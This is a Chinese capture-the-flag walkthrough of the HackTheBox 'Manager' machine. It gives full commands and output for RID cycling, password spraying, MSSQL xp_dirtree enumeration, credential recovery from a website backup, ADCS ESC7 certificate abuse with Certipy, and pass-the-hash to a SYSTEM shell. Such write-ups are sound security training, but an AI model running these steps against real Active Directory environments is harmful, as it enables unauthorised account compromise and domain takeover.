HTB-Machines-Manager
00. 摘要
关键词:Guest账户、RID 爆破、MSSQL xp_dirtree、ESC7提权
- 使用
Guest
账户枚举 SMB 服务,发现受害机启用了Guest
账户,但没有找到有价值的文件共享。 - 使用
Guest
账户进行 RID 爆破,拿到域用户清单。 - 使用常见弱密码进行爆破,拿到
Operator
账户的密码。 - 使用
Operator
账户登录mssql,通过xp_dirtree
找到网站备份文件。 - 在网站备份文件中找到
raven
账户 - 使用
raven
账户枚举 ADCS 服务,发现存在ESC7
漏洞。 - 使用
ESC7
漏洞提权到Administrator
01. 信息收集
使用 rustscan
进行端口扫描,发现如下开放端口
kali@kali[~]$ rustscan -u 5000 -a 10.10.11.236
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/player/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.236:53
Open 10.10.11.236:80
Open 10.10.11.236:88
Open 10.10.11.236:135
Open 10.10.11.236:139
Open 10.10.11.236:389
Open 10.10.11.236:445
Open 10.10.11.236:464
Open 10.10.11.236:593
Open 10.10.11.236:636
Open 10.10.11.236:1433
Open 10.10.11.236:3268
Open 10.10.11.236:3269
Open 10.10.11.236:5985
Open 10.10.11.236:9389
Open 10.10.11.236:49667
Open 10.10.11.236:49689
Open 10.10.11.236:49690
Open 10.10.11.236:49693
Open 10.10.11.236:49725
Open 10.10.11.236:49801
Open 10.10.11.236:52587
02. 使用Guest账户枚举 SMB服务
在没有任何账户的情况下,尝试使用Windows内置的Guest账户枚举SMB文件共享
发现虽然启用了 Guest
账户,但是只有默认共享 IPC$
的读取权限,没有什么有用的信息。
然后我们使用 Guest
账户进行RID爆破,枚举域用户名:
Note
RID爆破(RID Cycling)的原理是:由于 RIDs 是连续的,所以攻击者可以暴力破解或猜测 RIDs 和 SIDs 来枚举域对象
攻击过程如下
其中 SidTypeUser
代表用户,我们可以得到一份用户清单 usernames.txt
Administrator
Guest
krbtgt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator
然后我们简单尝试一下常见弱口令(偏脑洞,需要积累此操作)
- 密码与用户名相同 –> 失败
- 密码是用户名大写 –> 失败
- 密码是用户名小写 –> 成功
kali@kali[~]$ cat usernames.txt | awk '{ print tolower($0) }' > passwords.txt
kali@kali[~]$ netexec smb 10.10.11.236 -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\Administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Guest:guest STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\DC01$:dc01$ STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Zhong:zhong STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Cheng:cheng STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Ryan:ryan STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\Raven:raven STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\JinWoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\ChinHae:chinhae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\Operator:operator
我们得到了 Operator
账户的账号密码
username: Operator
password: operator
Note
- 使用 netexec 进行密码爆破的时候,需要设置
--no-bruteforce
这样可以在爆破的时候,用户名和密码一一对应,而不会每一个用户名都尝试一遍所有密码。 - 设置
--continue-on-success
参数是为了爆破出所有的有效账户。如果不设置该参数,则会在爆破出第一个有效账户的时候,结束爆破。
先枚举 Operator
账户可以访问的smb文件共享,发现没有敏感文件可以访问。然后尝试用该账户访问mssql,发现可以成功访问
kali@kali[~]$ netexec mssql 10.10.11.236 -u Operator -p operator
MSSQL 10.10.11.236 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL 10.10.11.236 1433 DC01 [+] manager.htb\Operator:operator
一并枚举 winrm
、ldap
服务,发现还能访问 ldap
03. 使用Operator账户攻击MSSQL
我们先使用 impacket-mssqlclient
连上 mssql 数据库。
- 尝试使用
xp_cmdshell
执行命令 –> 失败,报错数据库没有启用xp_cmdshell
- 尝试使用
enable_xp_cmdshell
启用xp_cmdshell
–> 失败,报错没有权限启用 - 使用
xp_dirtree
+responder
捕获 NetNTLM hash –> 捕获到的 NetNTLM hash 无法破解成明文 - 使用
xp_dirtree
收集本机信息,一番寻找之后在网站跟目录下找到了网站的备份文件
Note
注:在使用 impacket-mssqlclient
进行数据库连接的时候,记得添加 -windows-auth
。
MSSQL的认证方式主要可以分为以下两种:
- MSSQL直接创建的数据库账户,由MSSQL通过账户密码直接认证
- 具有MSSQL访问权限的域用户,基于Windows的身份认证机制进行认证
由于我们的账户属于域用户,所以在登录的时候,需要使用基于Windows的身份认证方式。如果不添加 -windows-auth
会登录失败
kali@kali[~]$ impacket-mssqlclient 'Operator':'operator'@'10.10.11.236' -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
<省略...>
SQL (MANAGER\Operator guest@master)> xp_dirtree \inetpub\wwwroot\
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
我们从网站上下载该备份文件
kali@kali[~]$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
解压之后,从 .old-conf.xml
文件中,找到了raven
账户的账号密码
username: raven
password: R4v3nBe5tD3veloP3r!123
使用该账户进一步枚举,发现该账户有WINRM服务的权限
kali@kali[~]$ netexec winrm 10.10.11.202 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'
WINRM 10.10.11.236 5985 DC01 [*] Windows 10 / Server 2019
WINRM 10.10.11.236 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
枚举 ldap
发现也有 ldap
服务的访问权限
04. ESC7提权
由于 Operator
和 raven
有 ldap 服务的访问权限,使用这两个账户进行 ADCS 域证书漏洞枚举。发现可以使用 raven
账户进行 ESC7
攻击
kali@kali[~]$ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
<省略...>
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates : [!] Could not find any certificate templates
从枚举结果可知,可以使用 raven
进行 ESC7
攻击,让我们详细分析下 ESC7
漏洞的原理:
ESC7
本质上通过滥用证书授权权限进行提权。该攻击方式的原理如下:
- 如果账户具有
ManageCA
权限,我们可以将ManageCertificate
权限分配给任何帐户。 - 如果账户具有
ManageCertificates
权限,我们可以远程批准待处理的证书请求,绕过CA certificate manager approval
的保护。 SubCA
是ADCS内置的证书模板,可以被ESC1
攻击。但是只允许Domain Admins
和Enterprise Admins
注册。- 通过结合以上两个权限,我们对
SubCA
证书模板发起ESC1
攻击 (由于我们没有注册权限,所以会遇到CERTSRV_E_TEMPLATE_DENIED
错误),我们记录下发起注册的ID和使用的私钥。然后使用ManageCertificates
权限批准我们注册的证书 (根据上一步记下的ID进行批准)。最后我们根据ID和记录的私钥,检索刚刚批准颁发的证书,并用其进行身份认证。
注:ESC1
攻击原理可以阅读 红队靶场笔记 01-Escape
接下来我们利用 ESC7
漏洞提权到 Administrator
权限
第一步:通过 ManageCa
权限,赋予自己 ManageCertificates
权限 (使用 -add-officer
参数)
kali@kali[~]$ certipy-ad ca -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -add-officer raven
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
第二步: 使用 SubCA
证书模板,注册一个 SAN
为 Administrator
的证书
kali@kali[~]$ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.10.11.236 -template SubCA -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 20
Would you like to save the private key? (y/N) y
[*] Saved private key to 20.key
[-] Failed to request certificate
记下我们的 Request ID
并 (输入 y) 保留私钥
第三步:通过 ManageCertificates
权限发布刚刚申请失败的证书
kali@kali[~]$ certipy-ad ca -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -issue-request 20
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
第四步:通过 ID 和私钥文件,检索我们发布的证书
kali@kali[~]$ certipy-ad req -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -retrieve 20
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 20
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Loaded private key from '20.key'
[*] Saved certificate and private key to 'administrator.pfx'
第五步:使用证书进行认证,拿到 Administrator
账户的 NT hash
kali@kali[~]$ certipy-ad auth -pfx administrator.pfx -username Administrator -domain manager.htb -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
现在我们有 Administrator 账户的NT hash了,可以使用 psexec
通过PTH连接到受害机器
kali@kali[~]$ impacket-psexec 'administrator@manager.htb' -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on manager.htb.....
[*] Found writable share ADMIN$
[*] Uploading file vDevPpBd.exe
[*] Opening SVCManager on manager.htb.....
[*] Creating service IlSN on manager.htb.....
[*] Starting service IlSN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
参考链接
- 文章:使用Guest账户访问SMB https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html#list-shared-folders
- 文章:RID爆破 https://www.thehacker.recipes/ad/recon/ms-rpc#rid-cycling
- 文章:ADCS ESC7攻击 https://www.thehacker.recipes/ad/movement/adcs/access-controls#esc7-abusing-subca
- 工具:NetExec https://github.com/Pennyw0rth/NetExec
- 工具:Impacket https://github.com/fortra/impacket
- 工具:evil-winrm https://github.com/Hackplayers/evil-winrm
- 工具:RustScan https://github.com/RustScan/RustScan
- 工具:Responder https://github.com/SpiderLabs/Responder
- 工具:Certipy https://github.com/ly4k/Certipy
免责声明
本文仅面向合法授权的网络安全教育和学习行为,旨在帮助读者理解和学习域渗透技术在模拟环境中的应用。如您需要测试文中描述的技术和方法,请自行搭建靶机环境。
为避免被恶意使用,本文中描述的所有技术、方法均为漏洞的理论分析和学习思路,不涉及对真实目标的攻击或漏洞利用过程。
在使用本文中描述的技术和方法时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行任何形式的扫描、测试或攻击。
如您在使用本文中描述的技术和方法的过程中存在任何非法行为,您需自行承担相应后果,我作为作者将不承担任何法律及连带责任。
在阅读和使用本文前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本免责声明所有条款,否则,请您不要使用本文中描述的技术和方法。您的使用行为或者您以其他任何明示或默示方式表示接受本免责声明的,即视为您已阅读并同意本免责声明的约束。